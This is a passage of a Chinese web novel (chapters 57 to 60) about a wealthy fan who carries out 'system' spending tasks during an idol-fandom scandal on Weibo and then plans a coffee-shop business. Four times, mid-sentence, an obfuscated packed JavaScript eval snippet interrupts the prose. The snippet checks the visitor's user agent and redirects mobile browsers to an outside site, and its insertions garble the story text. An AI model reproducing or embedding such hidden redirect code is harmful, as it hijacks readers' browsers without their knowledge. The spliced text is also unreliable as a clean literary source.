如果真有别的什么锤倒也罢了。 可现在争议的焦点只有三个。 一说聂嘉远卖惨，二说聂嘉远单相思，三最严重，也是引发这场大规模声讨的导火索，就是说凌钰这个氪金大粉、新晋内娱道德风向标突然爬了墙。 王晨之和赵恒的前车之鉴就在眼前，聂嘉远要是真没问题，那她好端端怎么会跑到女方的活动现场？ 不是。 有没有可能她真的只是路过？！ 凌钰有些不耐地又去看了一眼肖雨婷的微博，暂时倒是安安静静。 她不确定这究竟是埃尼娱乐的骚操作还是别的什么，正要返回页面，退出的瞬间下意识刷新，就见一条新的微博跳了出来。 【@ily肖雨婷：舆论发酵了好几天，公司一直不想让我说话，可如果真的就这样看着自己的合作伙伴、姐妹家人和救命恩人被造谣污蔑还选择闭嘴，我不认为这样的我还配被人喜欢。 升降台在使用之前检查了很多次，包括彩排时也都好好的，前面表演的嘉宾还用过，突发状况谁都无法预料。 第一下是我先撞了岑岑，她是舞担，当时察觉到脚下不对所以避开了，但灯光太暗谁都看不清，何况镜头对准了我们的脸也不能随便说话，第二下我想要调整定位，岑岑想要把我们带离那边所以才又撞上。 谁也没想到我会掉下去，那一瞬间是李岑和钱芊最先拉住了我，只是我们都被吓住了，她们手软而我又在挣扎，所以没能拉上来。 后来苏老师聂老师和静思姐都来了，工作人员也来了，但人太多反而不好用力，聂老师力气很大，自告奋勇冲在了最前面一把将我拉了上来，但他自己的胳膊却被洞口的钢结构划伤了。 如果没有聂老师，我可能真的会掉下去，你们是希望没人能拉我上来吗？ 在年终盛典那天之前，聂老师是我很喜欢的演员，曾经合作过的艺人，在盛典之后，聂老师就是我的救命恩人。 至于网上流传的所谓“盯着看”，当时正在录制节目，我在说话，现场不仅仅是聂老师，其余所有人都在看着我。 综上，没有故意破坏设备，没有刻意报复，没有恋情也没有单相思。 再说一遍，无论是有凤娱乐的工作人员，我的队友还是聂老师，又或者苏老师和静思姐，大家全部都是很好的人，没有人想要对我怎么样！如果你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15303681|160235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们还要一味造谣，那我只能说，我不想要这样畸形的喜欢，好走不送。 谁也不能控制意外，但己所不欲勿施于人，别总用带有恶意的眼光去看世界。 希望大家都能天天开心。谢谢！】 实在是逻辑清晰又很刚的一段长文，凌钰迟疑片刻，倒是察觉出肖雨婷骨子里与平时表现出形象的不同。 但此刻并不是仔细思考这件事的时候。 她有一个亿的金额要立刻用完并送同担，好在这段时间聂嘉远的商务越来越好，代言的东西也越来越高端，要花掉这个天文数字也比之前要轻松了一点。 年终盛典那天预热的拉芙和腕表品牌Pate都新官宣了系列大使，虽然还不是代言人，但相关商品的销量却还是算在聂嘉远头上的。 凌钰到官网看了一圈，只好托国贸ME门店的店长又把另外几家的微信推过来，定了好几个拉芙的新中式胸针，Pate的腕表也挑最贵的买了几块，当然依旧不忘初心地给ME和LQ又送了点业绩。 点进聂嘉远超话发帖。 【@我来追星了：#聂嘉远#njy#聂嘉远大粉爬墙# 没有爬墙也没准备脱粉，前两天买东西也不是因为要留什么念想，只是单纯想买。今天元旦，刚好陪朋友去冰雪乐园玩，路过而已别过分解读。 买了点东西送同担，条件还跟之前一样，所有奖品均由国贸门店寄出，半个小时后开奖，开奖后不符合条件会重新抽。祝大家元旦快乐！@聂嘉远@国贸ME@国贸LQ@拉芙国贸门店@Pate国贸】 消息发完，她返回手机主页看，四排倒计时正按秒倒退。 因为肖雨婷的突然发声，ily相关超话里犹如水入油锅彻底沸腾，她的微博下更是一片骂声。 【装腔作势，早干嘛了？队友被骂了这么多天才出来装好人，还把责任全推给公司，谁不知道公司最捧谁？埃尼皇太女不就是你吗？呵呵。】 【肖雨婷你想干嘛？粉丝劳心劳力帮你反□□你说话，结果你来这一出？背刺粉丝有意思吗？想要粉丝支持的时候说爱我们谢谢我们，不需要了就说“好走不送”，不觉得自己很过分吗？】 【你在高高在上什么？就这么对你的粉丝吗？我们凉亭做的一切难道不都是为了你？别忘了当初自己是怎么出道做了c位，没有我们花钱投票，会有你的今天吗？人不能太忘本吧我说。】 【真累了，每次一有什么事就这德性，你最好你最正直，别人都用恶意在看待世界，众人皆醉你独醒好吧？那你遇到事情的时候别跟粉丝诉苦啊！你差点掉进坑里的时候别叫别哭啊。】 【脱粉了，真的头一次发现追星这么累。】 不管正主究竟如何，有这样的同担只怕难免风波不断，况且这个时候如果她真的选择了这组合中的任何一个人，恐怕都要引来更大更乱的舆论。 凌钰扭头去一家国民牛奶品牌买了三十箱牛奶，又买了点另一个品牌的牛肉干，进入陈静思超话发帖抽奖，再将自己的主页简介做了修改—— 当前正主：聂嘉远、陈静思。 58.第 58 章 倒计时仍在继续，她还有任务没能完成。 正主2已经确定，解锁的五万元其中一部分金额花在了陈静思身上，但作为低调演戏的女演员，她的代言大多都是国民度很高却物美价廉的品牌，买了一堆东西才用掉六千。 剩下的，凌钰只能又去心盛咖啡买了些咖啡豆，再用聂嘉远其余几个品牌的东西凑了凑，进入超话发帖抽奖。 一连串三个抽奖下来，简直如同正面宣战。 原先还异常沸腾的微博诡异地陷入了片刻的寂静，又再次彻底炸开。 【不是妈妈，我是不是不识数了？】 【一个亿？一个亿用来抽奖送同担，我就说我这辈子是穷鬼命吧哈哈哈，粉那么多人为什么偏偏不粉聂嘉远呢？是，我有骨气，我不为五斗米折腰，我要坚持自己的喜好，我就是个不爱钱的人——啊啊啊啊啊！我不是！我有病啊！】 【楼上是已经气得开始胡言乱语了吗？这是想表达啥？没关系你不会表达我帮你，我反正决定从今天开始粉聂嘉远，不就是超话签到发帖吗？不就是每天打卡吗？不就是没有说过聂嘉远和他朋友坏话吗？我都可以。】 【人，怎么可以为了尊严不要钱？从今天开始谁都不可以骂聂嘉远，聂嘉远就是我唯一的正主。】 【哈哈，甚至不止一个亿，还有四万多别的，因为在一个亿的对比下显得过分便宜而变得无人在意。四万多，四万多都已经不被我放在眼里了，我凭什么啊？真的是疯了。】 大多数人都被那最开始的金额给惊到了，数不清的感慨之后才终于有人又发现了亮点。 【追星姐第二个新正主居然选了陈静思，妈哎！】 【你别说，陈静思倒是特别低调，平时也不太上综艺，但演技是真好，人看着也是不争不抢的，有种懵懵的感觉，原来追星姐喜欢这一款啊。那该说不该，凉亭们不得尴尬了？之前还说人家爬墙追肖雨婷……】 【肖雨婷家自作多情了吧？还乱造谣。不过这会儿她家粉丝也没空管这边，都去骂自家正主去了哈哈。】 的确，凌钰相关的话题里吃瓜群众占大多数，肖雨婷的粉丝却没见几个。 因为自家偶像的突然发声，肖雨婷之前的那条微博下战斗粉和理智粉互怼了上万条，就连广场上也格外热闹。 【冰雪乐园的活动只提前一个小时预告，为了给你排面，我们粉丝极限准备，从打包宣传物料到订购团票到包车去现场，累得跟狗一样为的是什么？跟队友粉抢地盘又是为了什么？现在真觉得自己是个笑话。】 【肖雨婷你真行，这么冷的天，现场的粉丝为了等你冻得瑟瑟发抖，结果你半天不登台就是在忙着写小作文骂粉丝！你真的没有心啊。】 【你应该庆幸现场没信号，不然我要是刚才看到这条微博一定要在台下就骂死你！倒了八辈子霉粉了你这么个忘恩负义的玩意，媚男上瘾了你！还救命恩人，滚啊！看人家理你了吗？退钱！把老娘花在你身上的钱退给我！】 有人情绪激动，也有人表示不能理解。 【疯了吧，你们真的是凉亭吗？这件事肖雨婷解释得还不够清楚？你们到底想要怎样？几年了，除了会到处树敌你们还会干嘛？她的队友你们骂，她的公司你们骂，现在救了她的人你们还骂，是想让她做孤家寡人吗？】 【有些人的爱真畸形啊，都快变态了，你们根本就不是想要肖雨婷好，你们只是想要掌控她，限制她，让她什么都按照你们想的来。这是病，得治。】 【跟队友粉攀比是肖雨婷让的吗？有没有一种可能，从她正式出道那一天起，她已经说了很多次希望大家用ily团队统一的应援，可你们不听啊！她们每个人都说过可你们都不听啊，你们非说她们是被公司逼的，一定要给她们排面。】 【跟听不懂人话的人沟通真的好难。】 【若非正主太美丽，谁与傻逼共粉籍。】 凉亭们的争论仍在继续，而热搜榜风云变幻。 凌钰趁着抽奖空隙返回看了一眼，前排词条又发生了变化。 #聂嘉远塌房预警#之类很快消失，取而代之的是#肖雨婷好走不送#、#脱粉#、#我来追星了一个亿#、#陈静思#、#陈静思捡漏#、#ily活动现场#和#聂嘉远彩排路透#…… 虽然是元旦，但聂嘉远却并没有能休息。 今天他有另一个卫视的春节晚会要提前彩排，据前线的消息，上午九点多他就进了电视台，按照计划可能得到凌晨才能结束，等明天正式录制结束，后天还得连轴转返回剧组继续拍戏。 彩排路透并不高清，但从某些角度也能看出确实有些憔悴。面对这样的他，粉丝们也难免心疼，不过更多的还是与有荣焉。 这个圈子就是这样，人红了才有累的可能，而糊咖则连累的机会都没有。 最近这两天肖雨婷的事闹得不小，聂嘉远作为另一位当事人迟迟没有回应，微博没登陆，也没接受什么采访，不知道是想冷处理还是根本没看到网上的谣言。 众人本来还在猜测他会如何应对，又在想这个新晋的流量小生有没有可能真的一朝坠落再也不得翻身，结果还没等到他本人露面，先是肖雨婷自己发了长文，接着他的那位氪金粉又花了一个亿，硬生生把整个内娱都给砸懵了。 娱乐圈以极致的喧嚣迎来了新年的第一天。 凌钰没再去看。 他们从冰雪乐园出来时天色还早，此刻已是夕阳西下。 顺路去菜场买了点菜，今天的晚餐又由孙致容掌勺，先用老母鸡煲汤，鸡胸肉撕开用来准备鸡丝汤面，浇头则是一份青椒小炒肉，一份青椒鸡蛋，一份鱼香肉丝，一份爆香茄子。 另有冷菜四盘，皮蛋豆腐、酸辣木耳、酱香牛肉、芹菜拌香干。 凌钰刚开始还在旁打打下手，但很快微博的开奖时间就到了，她用湿淋淋的手去拿手机，终于被孙致容赶出了厨房：“玩你的去，不要影响我的发挥。” 重新窝进沙发，短短半个小时，微博里早已又炸了锅。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15308623|160235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>肖雨婷之前的那条微博下，好几个认证的红v账号在底下回复，最上面一条是聂嘉远的，接着被提到的几位依次往下—— 【@聂嘉远：彩排中途休息才刚拿到手机，大概听工作人员说了事情经过，都是谣言，我和雨婷只在之前的几次节目里遇到过，私下没有联络，更没有恋情。这次帮忙不过举手之劳，我的胳膊是有点擦伤但不严重，希望大家不信谣不传谣。】 【@苏心悦：你没事就好。[爱心]】 【@ily李岑：没有故意推搡，没有假装姐妹情深，比赛的时候我们是对手，成团之后是家人。我不太会说话，平时可能反应也有些慢，但不代表你们可以随意解读我的意思。希望大家信任我们，支持我们，爱我的同时也能接纳我爱的人。】 【@陈静思：安全第一。[玫瑰花]】 【@ily钱芊：婷婷，永远爱你，抱抱！我们ily是一家人啊！】 五条评论，点赞量加起来已经破了百万。 聂嘉远那条自然最高，粉丝回复都比较简单，大多是在尖叫或者惊奇于他失踪人口回归，要不就是叮嘱他要好好保重身体。 苏心悦底下则是一堆人在喊女神。 ily两位成员的楼中楼就更复杂一点，有说她们是塑料姐妹情装腔作势的，有建议ily直接解散的，有骂队友恶心的，有骂她们本人虚伪的，也有真心实意支持的，甚至还有磕到了的，总归乱七八糟。 但到了陈静思这边，就只剩下了—— 【蹭蹭！】 【你别说你还真别说，鹬蚌相争渔翁得利啊家人们！这是什么运气？几个人一起上台帮忙的，就连影后都没捞着这好事，硬生生被这姐给捡走了。我也蹭蹭！】 【我也帮我正主蹭蹭，说不定哪天我正主也能有这样的好运气呢，求求了求求了！我也不要多，搞个小几万抽奖送同担就可以，我就会变成这个世界上最幸福的小女孩呜呜呜！】 【我有一个小目标……】 凌钰返回自己主页，三条抽奖都已经完成，聂嘉远那边一共抽了三十个人，只有三个不符合条件，陈静思这边抽了十个人，却有六个不符合条件。 没办法，静夜思们本来人数就不多，还和正主一样佛系，超话里冷冷清清，抽奖博里粉丝没几个，倒是围观群众一堆。 凌钰编辑文案重新再发，还浑浑噩噩的静夜思们半天才反应过来。 【这是真在抽奖啊？我还以为自己看错了。】 【我就说热搜上那个词条咋回事，什么叫陈静思捡漏啊？出去研究了半天才看明白，这是不是个特别厉害的氪金粉啊？】 【对不起啊姐妹，最近陈静思除了年终盛典的活动就没再露面，又进组拍戏了，平时她不营业的时候我们都各干各的，但她不是没有粉丝的，你不要误会，我们只是网速有点慢……】 【我是只要评论就参与抽奖了吗？】 这边还在发懵，那边就突然又爆出来一条最新消息——#ily追尾#。 59.第 59 章 其实不仅是静夜思们，陈静思本人网速也是出了名的慢。 今天能及时跟上大部队回复了肖雨婷的微博就已经非常不容易，而她的团队和她一样，也是慢半拍才反应过来突然拥有了一个氪金大粉。 凌钰之前为了选择正主2，倒曾很详细地了解过她。 与ily这种需要大量粉丝支持的女团不同，甚至和聂嘉远这种因为优越的长相而被公司挖掘的艺人也不一样，陈静思最初就是个跑龙套的。 她入行很早，刚上大学时一来为了赚生活费，二来也是兴趣使然，开始辗转各大剧组。 路人，丫鬟，一些职场剧里的同事，医疗剧里的病人到仙侠剧里惊鸿一瞥的妖灵，武侠片里深藏不露的高手…… 从最初的露脸一两秒没有一句台词，渐渐走到如今成为大女主。 虽然同样并非科班出身，但长年的演戏生涯让她积累了很多经验，也因此在头一次饰演女主时拥有了一鸣惊人的能力。 《宅院深深》这部片子哪怕摆在如今也依然能打，虽说这些年她拍摄的剧大多还是古代宅斗，偶尔会作为特邀演员参演别的剧，但能在同类型的题材中演绎出不同的感觉，其实本身也是一种本事。 静夜思们倒是没夸张，陈静思平时确实不太参加活动。 这回之所以会在年终盛典和聂嘉远苏心悦坐在一起，也是因为在《后妃》中饰演了一个戏份很重的配角。 虽然是配角，但她的咖位毕竟摆在这，前几年就已经得了不少电视剧类的大奖。流量自然和当红小花没法比，可架不住人家的剧能上星甚至能上央视，而且要么不播，但凡播了，收视率必是当季榜首。 这也是圈子里一个很奇怪的现象。 国民度高的人粉丝未必多，演技好的人未必有流量，获奖多的人商业价值未必也高。 这些年，静夜思们倒也习惯了，反正陈静思也不用他们应援，代言的产品也不用特意追求销量。 需要了就买，不需要就不买。 就连播剧的时候也不用他们控评刷播放量，自有观众激情讨论剧情。 此刻突然冒出个这么有名的氪金粉，一时都有些反应不过来。 这边还在磨磨唧唧地回帖提问，那边的热搜已经又爆了。 大约是肖雨婷的长文真的戳到了某些粉丝的痛处，又或者本来就有私生作祟，总之ily在冰雪乐园的活动结束后车还没开上高架，就被后面跟车的追尾，双方还发生了肢体冲突。 后续的开奖在二十分钟之后，凌钰又被拒绝再进厨房，她索性点进热搜看了一眼。 首页的热门话题是个营销号的爆料，还附上了现场视频。 【@娱达人：ily活动刚刚结束就被粉丝跟车，目测两车距离十分接近，期间发生两到三次擦碰，最终逼停ily所乘车辆。助理下车警告反被粉丝殴打，ily肖雨婷等几位成员被粉丝团团围住，目前还不清楚具体情况。】 评论首条是博主自己—— 【@娱达人：最新消息，ily方已报警，现场有人员受伤。】 发博时间大约在六分钟前，话题很快冲上了热一。 广场上说什么的都有。 【有人命好到捡漏氪金粉，有人倒霉到被自家粉丝又撞又打……】 【不是我说，ily的粉丝真的挺夸张的，公司天天就知道用这个团赚钱，也不知道正向引导粉丝，我今天也在冰雪乐园现场，平时不追星就是单纯看个热闹，结果台下各家粉丝互骂争地盘，真的迟早要出事。】 【哈哈，我被钱芊家粉丝当成肖雨婷家粉丝，一下给我撞出八米远。还有，有没有人看到刚才散场之后的冰雪乐园啊？我这辈子没见乐园里面这么脏过，像刚打过仗，我还拍了照，一地的垃圾，真是绝了。】 这条下面配了几张现场的图片。 有活动还没正式开始前拍的，到处人头攒动，而画面最上方两家唯粉正因为应援物的摆放相互拉扯，最终肖雨婷家占了上风，成功把李岑家的灯牌扔掉，安装上了自己的道旗。 有活动结束后的场景，遍地废弃的泡沫荧光棒、包装袋和喝空了的奶茶杯，整个大型冰雕的广场上几乎已经看不到一块干净的地面。 素质堪忧，惹人嘲讽，而有眼尖的网友则忽然发现—— 【第一张图最旁边是不是追星姐啊？肖雨婷粉丝当时爆料说人家爬墙，不会就是这个当儿拍的吧？看第三张图的时候，人家明显就跟着自己朋友走了。】 【这家粉丝是真的疯。】 【连自家正主都不放过，还能放过别人？倒反天罡了属于是。】 【这么乱，难怪追星姐不追。这姐追星氪金就喜欢送同担，但如果要送给这种同担……还是算了吧，反正是我我肯定不想送，一群疯子么这不是。】 其余不提，这最后一条倒确实说到了凌钰心坎上。 事实上，无论是对肖雨婷本人还是整个ily女团，她都并不讨厌，甚至是曾经摆在正主2选择范围内的。 能成为目前国内最顶尖的团体，必然有其长处。 譬如她们各个成员的业务水平都很一流，看她们的全开麦唱跳表演不像看某些团体那样让人心焦，反而是种享受。 譬如成团之余，她们每个人还都在各自的领域发光发热，真正做到了“聚是一团火，散是满天星”，偶尔流露出的一点被人诟病的较真，也不过是因为骨子里有种不服输的精神。 再譬如肖雨婷本人，看似是个只会撒娇卖萌的小美人，其实能吃苦，能抗事，内核强大且整个人活力满满，永远充满了正能量。 如果不是考虑到ily的粉圈实在太乱，后面可能会出问题，且她也不愿意花钱给这些人抽奖，凌钰恐怕还真的会试着粉一粉。 但现在，至少短期之内她都不会再考虑了。 广场上，有人已然对ily整个粉圈反感，也有人对追车人的身份存疑。 【我的天哪，这不是粉丝是私生吧！真的粉丝怎么可能这样对她们啊？埃尼娱乐能不能做事了，好好的人在你们公司现在连基本的人生安全都得不到保证了吗？现在是谁受伤了啊？】 【这一看就是私生啊，为什么要定性为粉丝？哪个粉丝会跟车啊？想给ily抹黑也不是这么个抹法。再说刚才爆料的那个现场图，那些垃圾后面后援会的人都去帮忙打扫了好吧？】 二十分钟的时间过得很快。 凌钰又稍微翻了一会儿评论，开奖时间到了。 好在这次没再出什么差错。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15314008|160235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 核对名单之后公布获奖人员，三条任务全部完成的瞬间，银行卡连跳三条到账提醒，加起来一亿零五万元的收入，让她余额变得更加充足的同时，也让刚才还有些茫然的心态都变得坚定起来。 感恩系统。 至于其他人，他们爱咋咋滴吧。 熬煮了快一个小时的鸡汤散发出浓郁的香味，其他的菜都已经上了桌，凌钰这才重新进了厨房帮忙。 鸡肉瘦而不柴，搭配着几样不同的浇头，香得人舌尖都忍不住跳舞。 吃饱喝足，把碗筷放进洗碗机，刚想要坐着休息看会儿电视，孙致容的手机就收到了一堆新的工作任务。 元旦虽然放假三天，但他们假期结束的第一天就要召开集团的安全工作会。 会议议程、几位领导的讲话稿、主持稿全部都要提前拟稿审核，再加上同一天上级单位还要下来检查，欢迎辞、讲话稿、PPT也得提前做。 安全工作会倒是放假前就通知过，上级检查却是这会儿才得到的消息，孙致容顿时一个头两个大。 东西最迟明天中午就要交，领导审过之后还要再改。 层层任务布置下来，电视是看不成了，孙爸退休了几年，但有些管理上的东西还是有自己独特的见解，周哥工作方向不同帮不上什么忙，只能在旁端茶倒水大晚上的帮着做咖啡。 就连脱离工作岗位许久的凌钰都被迫起身帮她看稿子，改PPT。 幸好这也算凌钰的老本行，不然这种工作量，哪怕半夜不睡，别说是明天中午，恐怕到明天晚上或者后天中午也赶不出来。 孙爸是最先支撑不住的。 到凌晨两点，凌钰也熬不下去先睡了，次日一早起身，就看到孙致容和周哥还在熬。 两人眼下一片乌青，像是冷宫里疯了的妃子…… 有再多的话现在也不是说的时候，唯有加班加点力所能及地帮忙。 直到赶在中午十二点前提交了初稿，凌钰浑身瘫软地躺在沙发上，才没忍住发出了一些疑问：“这个班，就非上不可吗？” 孙致容眼睛根本就睁不开：“不上能咋办？不上喝西北风。” “怎么会呢？”凌钰猛地坐起身来，“你一个月工资到手才七千左右吧？这个班不上也罢！咱不如先开个店。饭店太累，宠物店太忙，别的店可能生意也一般，不然咱开个手作咖啡店，怎么样？” “……”孙致容睡眠不足，反应迟钝，“就凭我们这个做咖啡的水平？不行吧……” 凌钰“啧”了一声：“你看你又狭隘了吧？谁说开店我们还要自己当员工？我可以雇好的咖啡师啊，到时候我俩就做老板，你要是高兴呢就帮忙管管店铺，不高兴就再雇个人当店长。” “或者还可以开那种猫咪咖啡馆，嗯……反正都行，等我来看看有没有哪里有合适的店面房租或者卖的。” 凌钰想了想：“孙爸不是知道□□的一些流程吗？到时候咱们注册个餐饮公司，五险一金照样交，不比你上这个破班强多了？” 她说做就做，已经开始到网上搜索。 孙致容迷迷糊糊本来都快睡着了，此时猛地惊醒，一骨碌爬起身来，面色犹豫地问到：“你开玩笑的吧？别告诉我阿珍你又要来真的……” 60.第 60 章 凌钰确实是来真的。 这个念头在她心中已经盘算很久了。 这段时间下来，她对系统给的任务已经大致了解，不至于再像最初那样手忙脚乱，而她也发觉，【识人】每次规定的时间其实都还挺充裕的，只要不出意外基本都能让她做到刚好完成，又不能太过拖拉。 换句话说，系统并不是想让她死，而是更想让她活。 那些惩罚也只是为了威胁她、鞭策她、督促她，让她更好更快地完成任务，最终达到某种预期效果。 是手段，并非目的。 那真正的目的就只有一个：更正内娱风气。 T市作为商业之都，城区内就有很多大型综合体，国贸那种太过高端的基本就不用想了，人流量虽然大，但店铺租金也高到令人咋舌。 她是想要造福自家姐妹，不是想要创业未半而中道崩殂。 既然是手作咖啡，走的就是高端路线，放在普通公司门口肯定是没什么竞争力的，最好是挑一个环境比较幽雅的地方。 景泰苑周围倒是很好，消费力也跟得上，可这边的住户自家十有八九也都有咖啡机，哪怕是姐妹聚会也大概率在自己家里，出门去咖啡店坐着聊天的概率有，但不大。 凌钰又另选了几个大公司周围去看。 最近的一栋写字楼就在距离景泰苑两条街外的泰和里，那边聚集了T市比较前端的几家时尚杂志社和新兴的传媒公司，倒是可以一试。 说话的工夫孙致容已经躺在沙发上又睡着了，周哥下楼回家洗澡，顺便出门买早点买菜，凌钰小心翼翼地往沙发的另一侧挪着靠好，这才继续去翻网上的租房和卖房信息。 泰和里的商业街区发展只能说一般，但写字楼却难得地满满当当。 除了公司，另外还有两栋楼是市属物业公司和投资公司的办公楼。 凌钰大概看了一下，要想在商业街区里租个小门面房大概每个月就要十五到十八万，而如果在写字楼楼下租则要更贵些，每个月大概要二十万向上。 至于想买房，那就实在是有价无市，有钱也买不到了。 不过这事暂时不急，既然想要开店，该做的准备也不是只有这个。 相关许可证得办，门店品牌得定，装修方案得选，设备得提前考察，除此之外如果想要注册公司，还得研究下其他需要准备的东西。 凌钰又大概查了一会儿，才打开微博。 过了一个晚上，ily被跟车的事似乎还没解决，据说当时追车的粉丝和助理大打出手，同车的肖雨婷和钱芊被围在中间也挨了两下，李岑没有下车，却被另一个粉丝堵在车里怼脸拍照，甚至要亲她，场面一度十分混乱。 原本还忙着吵架的粉丝终于又联合起来开始抵制私生粉，凌钰看了一眼自己已经打开的陌生人私信，屏蔽掉乱七八糟的无用信息，有一条消息落入眼底。 发件人是春风传媒。 凌钰微微一愣，这不是之前被爆料说有个大项目但资金短缺的公司吗？ “@春风传媒：抱歉打扰到您，目前我司已筹备四年的电视剧《清君侧》仍在筹资，如您有投资意向，可直接与本博联系，希望有机会能与您合作，谢谢！” 看来网络爆料也并非都不可信，她之前还想着要怎么找个中间人来联系对方，没想到这次的抽奖闹出的动静这么大，居然让对方先找了过来。 凌钰回复道：“您好，能问问这个项目的具体情况吗？” 私信发出，对面没有立刻回应，片刻后才有人上线发了个联系方式来，这次倒是多了些活人感。 “凌小姐您好，请问方便提供一下您的邮箱吗？具体情况我司稍后会将具体方案发送给您，您可以先添加我们项目负责人的微信哦。” 凌钰回了个“OK”，把自己的邮箱发过去。 还没来得及添加负责人的微信，就见又有一条蓝v的私信发了过来。 “@有凤娱乐：您好，我司今年正在筹备拍摄一部粉丝与偶像互动的综艺，不知道您有没有意向参加？目前的拟邀嘉宾有：苏心悦、墨之染、陈静思、聂嘉远、孙宇威、李明也、周梓然等。有凤娱乐期待您的加盟！” 综艺？凌钰这回是真信了自己一个亿的威力。 看来之前她零零散散花钱时就已经引起了多方注意，而这次大手一挥真正的一掷千金，那些以往遥远不可及、高贵不可攀的事顿时全吻了上来。 闲着也是闲着，无论什么都可以先了解一下。 本着即便这次合作不了也可以有下次合作，这种模式合作不了也可以有其他模式合作的态度，凌钰又回复道：“您好，可以看看具体方案吗？可以的话您直接发到我的邮箱哦，或者给我一个联系方式方便联络。” 一连加了几个联系方式，周哥已经拎着早饭和孙爸一起回来了。 孙致容睡得迷迷糊糊，被叫醒时吓得浑身一激灵，等终于清醒，一时发出了一些略显崩溃的乱叫。 “嗷嗷嗷——” “你咋了？”凌钰看她一脸惊悚，好奇道，“做噩梦了？” “你都不知道我刚刚做梦有多吓人！” 孙致容说着爬起身来：“我梦到领导读稿子突然读成乱码，PPT也放不出来，所有人都喊我上去调试，我在那狂调就是调不好！” “急死我了！急也就算了，结果一转头就发现其实我根本没在调试，周围所有人都在开会，而我居然趴在桌上睡着了！我们领导气得脸一下子漆黑，吼着要我上台代表单位脱稿发言，我当时就想还不如睡死过去，就被喊醒了——” 她喘了口大气：“还好你把我喊醒了，太吓人了。” 这画面，凌钰一瞬间头皮发麻，简直梦回自己忙开会忙材料的苦日子。 那时她熬夜加班，睡着了也总做这种噩梦，梦里已经足够吓人，梦醒之后还得在现实中继续面对。 人人都说她的文字功底好，写材料让人放心，却不知道她为了这“放心”二字，自己不放心了多少遍，就连头发都多白了好多根。 别说，自从不上班，她不少白头发都从根部又变黑了。 自由自在人间天堂，社畜牛马人间炼狱。 孙致容越说越难过，一时痛苦抱头。 “人真的很容易就变得没有原则，之前没有选择 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15322884|160235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，再苦再累好像也能忍，加班也能忍，奇葩同事也能忍，领导压榨也能忍，现在你这饼一画，我是真的一点儿也不想上班了！但是不行啊！！” 凌钰连忙抬手拍了拍她：“有什么不行的？别自己吓自己了，不想上咱就不去上，别急，就这几天的事。” 她想想，又转过头：“其实也不差这几天，要不你现在就打辞职报告吧，公司急要的方案什么我们可以给他干完，但之后真正开会就别去了。我聘你做我的助理，刚好有几件事要办。” 孙致容本来就睡得迷糊，又吼得忘我，此刻压根反应不过来：“什么啊？” “有个项目要投资，还有个节目可能也要看一看具体情况，究竟是作为嘉宾去参加，还是干脆也直接投资，得看看。” 凌钰说罢站起身来，递了杯豆浆给她：“而且既然要开店，选址什么的还是得实地去看，我一个人也忙不过来，还有……” 她还要再说，孙致容猛地起身瞪大了眼：“等一下！” 就连周哥包子咬了一半都停了下来：“啊？阿珍你真的又来真的！” 有凤娱乐的节目尚在策划期间，整体设定就是拉近粉丝与偶像之间距离的综艺，邀请的也都是相关明星圈子里比较出名的大粉。 有专业的画手，厉害的剪辑，拍图绝佳的站姐，还有她这样有钱的氪金粉。 首季节目一共有六个主题，届时每个主题会分上下两期播出。 凌钰打开文件去看，第一个主题是居家生活类，当季所有嘉宾和被邀请的粉丝互相盲选组队，利用有限资金度过一整天。 第二个主题是体育竞技类，根据第一天的情况重新选择组队，节目组安排了一些户外项目，赢的队伍可以拥有更多资金。 第三个主题是综艺游戏，第四个是密室逃脱，第五个街头打工，最后一个则是筹备一场免费观看的告别晚会。 整个录制大概也就六天，前后空出一天的行程就可以，不过对凌钰这种已经躺平许久的人来说，可能还是有点紧凑的。 而这些拟邀嘉宾看着很大咖，但所谓“拟邀”，其实就是人员还没有确定。 苏心悦本来就不太参加综艺，墨之染更是连年度盛典都没来，最后一位周梓然甚至是花香娱乐的艺人，两家平时一直对打，凌钰不觉得他们会轻易参加这种节目。 剩下的一些艺人，聂嘉远一直忙于拍戏，陈静思应当也会很快进组。 